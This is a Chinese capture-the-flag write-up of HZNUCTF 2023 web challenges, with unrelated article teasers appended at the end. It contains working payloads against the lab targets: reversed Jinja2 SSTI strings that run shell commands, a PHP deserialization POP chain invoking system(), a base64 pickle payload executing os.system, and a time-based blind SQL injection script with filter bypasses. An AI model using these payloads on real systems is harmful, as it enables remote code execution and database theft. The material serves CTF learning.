HZNUCTF2023中web相关题目

[HZNUCTF 2023 preliminary]guessguessguess

这道题目打不开了

[HZNUCTF 2023 preliminary]flask

这道题目考察SSTI倒序的模板注入,以及用env命令获得flag

看题目,猜测是SSTI模板注入,先输入{7*7},发现模板是倒序输入的

输入}}'7'*7{{返回777777,为jinja2模板

这里放上python倒序代码

import base64strA = input('需要转换的字符:')
strB=strA[::-1]
sbase=str(base64.b64encode(strB.encode("utf-8")), "utf-8")   #baseprint(strB)   #base不能直接编码,要先换成byte类型,直接在线网站编码

 

接着我们构造payload,找出flag文件 

?name=}})')(daer.)"/ sl"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{

 

发现flag在flag.sh文件下,给出下面提示flag又不在这里

?name=}})')(daer.)"hs.galf/ cat"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{

接着给出提示/bin/bash,接着我们构造payload,看看此文件,发现出现2个文件 ,查询文件无果

 ?name=}})')(daer.)"sl;hsab/nib/ dc"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{

 接着用env命令查看一下环境变量

?name=}})')(daer.)"vne"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{

 

[HZNUCTF 2023 preliminary]ppppop 

这道题目考察php反序列化及pop链的构建

打开这道题目发现一片空白,检查网络中的数据包,发现cookie中存在base64编码值,进行解码

 

 解码之后发现字符串中有一个布尔值,空白原因可能是布尔值为0,一般来说0表示false,我们将0修改为1再进行base64编码,再将编码后的值替代之前cookie值发包

 得到下面php代码,其中涉及到魔术引号以及函数

在对象中调用一个不可访问方法时,__call() 会被调用

$name 参数是要调用的方法名称。$arguments 参数是一个枚举数组,包含着要传递给方法 $name 的参数

strrev() 函数反转字符串

<?php
error_reporting(0);
include('utils.php');class A {public $className;public $funcName;public $args;public function __destruct() {$class = new $this->className;$funcName = $this->funcName;$class->$funcName($this->args);}
}class B {public function __call($func, $arg) {$func($arg[0]);}
}if(checkUser()) {highlight_file(__FILE__);$payload = strrev(base64_decode($_POST['payload']));unserialize($payload);
}?>

得到源码后就是反序列化构造pop链了,不难看出是通过A类来触发B类中的__call从而实现任意命令,执行后的回显肯定是在class B的__call 魔术方法里,所以我们需要让func和arg成为我们需要的变量。所以我们构造pop链如下:

poc如下:

<?php
error_reporting(0);
include('utils.php');class A {public $className="B";public $funcName="system";public $args="env";public function __destruct() {$class = new $this->className;$funcName = $this->funcName;$class->$funcName($this->args);}
}class B {public function __call($func, $arg) {$func($arg[0]);}
}$a=new A();
echo(base64_encode(strrev(serialize($a))));
?>

 

这里在B类中调用system没有直接触发__call方法并将system作为参数传入__call中造成执行系统命令来查看环境变量从而得到flag 

 

 

[HZNUCTF 2023 preliminary]pickle 

打开题目,右键查看源代码,在pycharm中格式化


import base64
import pickle
from flask import Flask, requestapp = Flask(__name__)@app.route('/')
def index():with open('app.py', 'r') as f:return f.read()@app.route('/calc', methods=['GET'])
def getFlag():payload = request.args.get("payload")pickle.loads(base64.b64decode(payload).replace(b'os', b''))return "ganbadie!"@app.route('/readFile', methods=['GET'])
def readFile():filename = request.args.get('filename').replace("flag", "????")with open(filename, 'r') as f:return f.read()if __name__ == '__main__':app.run(host='0.0.0.0')

发现有两个可以访问的页面:/calc和/readFile。由于calc下面的语句有一个getFlag,我认为flag应该是在这里拿到的。然后往下看,需要get传参payload,然后用base64解码payload,然后pickle.loads被过滤os的解码代码。先去查了pickle的用法,发现是python里的序列化和反序列化函数。看看WP文章 - [HZNUCTF 2023 preliminary]pickle jmx0hxq的WriteUp | NSSCTF

payload:/readFile?filename=a 

 下面一些是其他博主对代码的解释:

1. 首先,python代码里先进行return以覆盖下一个return的返回值。所以本题可以让反序列化之后的值先进行return的操作。

2. 然后本题中return的那段:

return eval,("__import__('o'+'s').system('env | tee a')",)  
 这段的意思,有两个元素用逗号隔开return,就是一个可以执行eval的特性。

3. 其中还有一个__import__('os')语句的意思,就是在中途导入os模块,并且将__import__('os')这一段变成'os'。

4.python中,os就是可以调用system的函数:

os模块负责程序与操作系统的交互,提供了访问操作系统底层的接口;即os模块提供了非常丰富的方法用来处理文件和目录。

所以os.system('ls /')也是可以读取根目录的。但是由于eval函数没有回显,所以用tee将内容复制到a.txt,然后再用/readFile函数读取文件就可以了。

所以payload:

/calc?payload=gASVRgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwqX19pbXBvcnRfXygnbycrJ3MnKS5zeXN0ZW0oJ2xzIC8gfCB0ZWUgYScplIWUUpQu

 然后读取a文件:/readFile?filename=a

 

[HZNUCTF 2023 preliminary]ezlogin

这道题目考察sql的盲注,并且带有过滤

打开题目,查看网页源代码,可以知道注入点在username上,且为POST传参,注入进行了关键字的过滤

过滤and      ==》&&    //我直接or了
过滤database ==》Database
过滤空格      ==》/**/                    
过滤=        ==》like

发现没有显示报错界面,只能用盲注试试了,下面是别人的脚本代码

import requests
import base64
import datetimeurl='http://node5.anna.nssctf.cn:28144/'
flag = ''for i in range(1,100):low = 32high = 130mid = (high + low) // 2while (low < high):payload = "1'||if((ascii(substr((SELECT/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{},1)))>{},sleep(1),1)#"payload = payload.format(i, mid)print(payload)payload = base64.b64encode(payload[::-1].encode("utf-8"))data = {'username':payload,'passwd':'1'}time1 = datetime.datetime.now()r = requests.post(url, data)time2 = datetime.datetime.now()time = (time2 - time1).secondsif time > 1:low = mid + 1else:high = midmid = (low + high) // 2if (mid == 32 or mid == 130):breakflag += chr(mid)print(flag)

爆库名
# payload = "1'||if((ascii(substr((DATABASE()),{},1)))>{},sleep(1),1)#"

爆表名
# payload = "1'||if((ascii(substr((SELECT/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/DATABASE()),{},1)))>{},sleep(1),1)#"

爆列名
# payload = "1'||if((ascii(substr((SELECT/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'user'),{},1)))>{},sleep(1),1)#"

爆数据
# payload = "1'||if((ascii(substr((SELECT/**/group_concat(Password)/**/from/**/users.user),{},1)))>{},sleep(1),1)#"

这样慢慢的等着跑出来就好了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/3248804.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

Postgresql主键自增的方法

Postgresql主键自增的方法 一.方法&#xff08;一&#xff09; 使用 serial PRIMARY KEY 插入数据 二.方法&#xff08;二&#xff09; &#x1f388;边走、边悟&#x1f388;迟早会好 一.方法&#xff08;一&#xff09; 使用 serial PRIMARY KEY 建表语句如下&#xf…

学生管理系统(C语言)(Easy-x)

课 程 报 告 课 程 名 称&#xff1a; 程序设计实践 专 业 班 级 &#xff1a; XXXXX XXXXX 学 生 姓 名 &#xff1a; XXX 学 号 &#xff1a; 231040700302 任 课 教 师 &a…

C++类与对象(补)

感谢大佬的光临各位&#xff0c;希望和大家一起进步&#xff0c;望得到你的三连&#xff0c;互三支持&#xff0c;一起进步 个人主页&#xff1a;LaNzikinh-CSDN博客 文章目录 前言一.默认成员函数二.static三.友元四.匿名对象总结 前言 类的默认成员函数&#xff0c;默认成员…

Mongodb数据库(上)

介绍 是一个基于磁盘存储的开源的、文档类型(数据存储格式)的非关系型数据库。 其数据首先是存放到内存中,当内存不够时,它还可以存放到磁盘里面去 优点 基本概念 数据库 mongodb中的数据库默认是’test‘(就是一进去就是直接使用用的test数据库),如果想要使用其他…

【LabVIEW作业篇 - 2】:分数判断、按钮控制while循环暂停、单击按钮获取book文本

文章目录 分数判断按钮控制while循环暂停按钮控制单个while循环暂停 按钮控制多个while循环暂停单击按钮获取book文本 分数判断 限定整型数值输入控件值得输入范围&#xff0c;范围在0-100之间&#xff0c;判断整型数值输入控件的输入值。 输入范围在0-59之间&#xff0c;显示…

【Python进阶】正则表达式、pymysql模块

目录 一、正则表达式的概述 1、基本介绍 2、快速使用re模块 二、正则的常见规则 1、匹配单个字符 2、原始字符串 3、匹配多个字符 4、匹配开头和结尾 5、匹配分组 三、Python与MySQL交互 1、pymysql模块的安装 2、pymysql的操作步骤 3、connection对象 4、cursor…

基于ANSIBLE中的YAML非标记语言Role角色扮演

YAML-YAML Ain’t Markup Language-非标记语言 语法 列表 fruits:​ - Apple​ - Orange​ - Strawberry​ - Mango 字典 martin:​ name : Martin D’vloper​ job : Developer​ skill : Elite 示例1 需求 通过YAML编写一个简单的剧本&#xff0c;完成web的部署&#xff0c…

【Mongodb-04】Mongodb聚合管道操作基本功能

Mongodb系列整体栏目 内容链接地址【一】Mongodb亿级数据性能测试和压测https://zhenghuisheng.blog.csdn.net/article/details/139505973【二】springboot整合Mongodb(详解)https://zhenghuisheng.blog.csdn.net/article/details/139704356【三】亿级数据从mysql迁移到mongodb…

【Springboot】新增profile环境配置应用启动失败

RT 最近接手了一个新的项目&#xff0c;为了不污染别人的环境&#xff0c;我新增了一个自己的环境配置。结果&#xff0c;在启动的时候总是失败&#xff0c;就算是反复mvn clean install也是无效。 问题现象 卡住无法进行下一步 解决思路 由于之前都是能启动的&#xff0c…

视频素材网站无水印的有哪些?热门视频素材网站分享

当我们走进视频创作的精彩世界时&#xff0c;一个难题常常摆在面前——那些高品质、无水印的视频素材究竟应该在哪里寻找&#xff1f;许多视频创作者感叹&#xff0c;寻找理想的视频素材难度甚至超过了寻找伴侣&#xff01;但不用担心&#xff0c;今天我将为您介绍几个优质的视…

宝塔安装RabbitMq教程

需要放开15672端口&#xff0c;默认账号密码为guest/guest

浅说区间dp(下)

文章目录 环形区间dp例题[NOI1995] 石子合并题目描述输入格式输出格式样例 #1样例输入 #1样例输出 #1 提示思路 [NOIP2006 提高组] 能量项链题目描述输入格式输出格式样例 #1样例输入 #1样例输出 #1 提示思路 [NOIP2001 提高组] 数的划分题目描述输入格式输出格式样例 #1样例输…

车载音视频App框架设计

简介 统一播放器提供媒体播放一致性的交互和视觉体验&#xff0c;减少各个媒体应用和场景独自开发的重复工作量&#xff0c;实现媒体播放链路的一致性&#xff0c;减少碎片化的Bug。本文面向应用开发者介绍如何快速接入媒体播放器。 主要功能&#xff1a; 新设计的统一播放U…

进程空间的回收以及执行当前进程空间内的另一进程

1.进程的退出 1.exit 功能: 让进程退出,并刷新缓存区 参数&#xff1a; status:进程退出的状态 返回值: 缺省 exit -> 刷新缓存区 -> atexit注册的退出函数 -> _exit 2._exit 功能: 让进程退出,不刷…

代码随想录——分割等和子集(Leetcode LCR 101)

题目链接 0-1背包问题 class Solution {public boolean canPartition(int[] nums) {int[] dp new int[10000];int sum 0;// 首先求背包体积应该为nums数组总和的一半for(int i 0; i < nums.length; i){sum nums[i];}// 如果总和为奇数则不存在等和子集if(sum % 2 1)…

输出调节求解跟踪问题(二阶线性系统)

本文研究了一种基于增广系统的领导者-跟随者控制框架&#xff0c;旨在实现跟随者系统对领导者参考信号的精确跟踪。首先&#xff0c;建立了跟随者和领导者的独立状态空间方程&#xff0c;分别描述了它们的动态行为和输出关系。随后&#xff0c;通过将两者的状态空间方程结合成增…

在Linux系统安装MySQL有多简单

MySQL 是一种流行的开源关系数据库管理系统&#xff0c;广泛应用于各种类型的应用程序和服务。在安装TitanIDE​​​​​​​以后是没有MySQL服务的&#xff0c;我们需要单独安装安装MySQL。本文将介绍在 Linux 上安装 MySQL 的多种方式&#xff0c;包括离线安装、使用 Docker …

el-tree动态添加子节点的问题

如果我们需要动态往el-tree里面某一个节点添加子节点&#xff0c;追加或删除&#xff0c;我跟你讲&#xff0c;一定要显式地调用el-tree的方法&#xff0c;不然的话&#xff0c;后面调用setChecked这种方法看不到效果的。 比如el-tree绑定的data如下&#xff1a; [{id:"1…

DP(1500-1700)(刷题)

1.状态机模型&#xff1a;https://codeforces.com/contest/1984/problem/C2 记一下max与min状态转移即可&#xff0c;下面是AC代码&#xff1a; #include<bits/stdc.h> using namespace std; typedef long long ll; ll a[200010],t,n; ll dp[200010][2];//dp[i][0]表示…

掌握这些技巧,让你成为画册制作高手

在数字化的时代背景下&#xff0c;电子画册以其便捷的传播方式、丰富的视觉表现形式&#xff0c;赢得了大众的喜爱。它不仅能够在个人电脑上展现&#xff0c;还能通过智能手机、平板电脑等多种移动设备随时随地被访问和浏览。这种跨平台的支持&#xff0c;使得无论你身处何地&a…